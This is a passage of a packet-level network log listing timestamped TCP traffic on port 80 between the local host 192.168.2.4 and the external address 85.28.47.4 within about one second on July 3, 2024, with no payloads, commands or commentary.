Jul 3, 2024 23:59:08.618599892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618618965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618733883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618746042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618756056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618763924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618774891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618776083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618788958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618798971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618799925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618809938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618820906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618822098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618839025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618864059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618967056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619005919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619535923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619556904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619568110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619577885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619590044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619611025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619667053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619678974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619688988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619703054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619709969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619721889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619746923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619787931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619827032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619857073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619868994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619878054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619894981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619910955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.619960070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619976997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619987011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.619997978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.620002985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.620032072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.620045900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.620069981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.620109081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621527910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621568918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621570110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621583939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621607065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621618032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621658087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621669054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621680021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621696949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621706963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621726990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621781111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621807098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621815920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621819973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621845961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621862888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.621953011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621963978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621973991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621984005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621994972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.621995926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622019053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622042894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622169018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622179985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622189999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622200012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622210026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622216940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622227907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622235060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622239113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622250080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622252941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622275114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622302055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622436047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622446060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622461081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622478008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622498989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.622510910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622520924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.622551918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.708573103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.713362932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890791893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890818119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890830040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890839100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890850067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890858889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890868902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890877962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890887022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890892029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890897989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.890914917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.890954971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.890983105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.890995026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891004086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891012907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891021967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891030073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891052961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891061068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891103983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891150951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891223907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891233921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891242981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891251087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891261101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891268969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891271114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891271114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891279936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891303062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891320944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891411066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891450882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891549110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891558886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891566992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891576052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891585112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891591072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891594887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891606092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891611099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891617060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891618967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891628027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891644001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891652107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891670942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891685009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.891874075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891885042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.891923904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892020941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892030954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892040014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892049074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892056942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892067909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892071009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892081976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892082930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892091990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892102957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892105103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892112970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892122984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892132044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892132044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892138958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892147064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892174959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892638922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892648935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892657042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892666101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892674923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892683029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892692089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892693043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892704010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892710924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892714024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892724037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892725945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892734051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892739058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892750025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892759085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892769098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892769098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892780066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892791033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.892791986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892806053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.892829895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.893114090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893124104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893151045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893161058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893162966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.893188953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.893276930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893290997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.893326044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973337889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973356962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973367929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973400116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973426104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973495960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973536015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973552942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973566055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973592997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973603964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973915100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973927021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973937035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973946095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973952055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973956108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973968029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973968983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.973978996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.973992109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974009991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974025965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974030018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974037886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974046946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974056959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974065065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974065065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974072933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974076986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974087000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974088907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974097013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974107027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974114895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974122047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974148035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974340916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974351883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974378109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974395990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974483967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974495888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974503994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974520922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974524021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974528074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974538088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974545002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974549055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974559069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974567890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974572897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974579096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974589109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974592924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974598885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974606037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974610090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974621058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974627972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974632025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974636078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974649906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.974654913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974677086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.974688053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975136042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975147963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975157976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975167990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975178003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975179911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975188971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975193024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975200891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975217104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975227118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975250959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975368023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975379944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975389004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.975404024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975416899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.975425005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.984863997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.984905958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.984910965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.984919071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.984942913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.984946966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.984961987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.984982967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.984988928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985027075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985049963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985061884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985073090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985093117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985104084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985112906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985265970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985277891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985289097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985300064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985306025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985311031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985311985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985322952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985335112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985337973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985363007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985377073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985552073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985563993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985574961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985585928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985595942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985599995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985608101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985632896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985737085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985749006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985759020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985769033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985779047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985780001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.985791922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.985821009 CEST	49730	80	192.168.2.4	85.28.47.4
